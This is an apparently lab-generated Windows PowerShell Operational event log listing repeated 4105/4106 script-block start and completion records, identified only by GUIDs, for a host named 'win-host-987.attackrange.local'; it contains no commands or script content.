09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044104
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044103
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044102
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044101
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044100
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044099
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044098
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044097
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044096
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044095
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044094
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044093
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044092
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044091
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044090
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044089
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044088
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044087
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044086
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044085
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044084
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044083
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044082
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044081
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044080
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044079
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044078
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044077
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044076
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044075
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044074
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044069
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044068
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044067
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044066
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044055
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044054
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2044053
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2044052
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
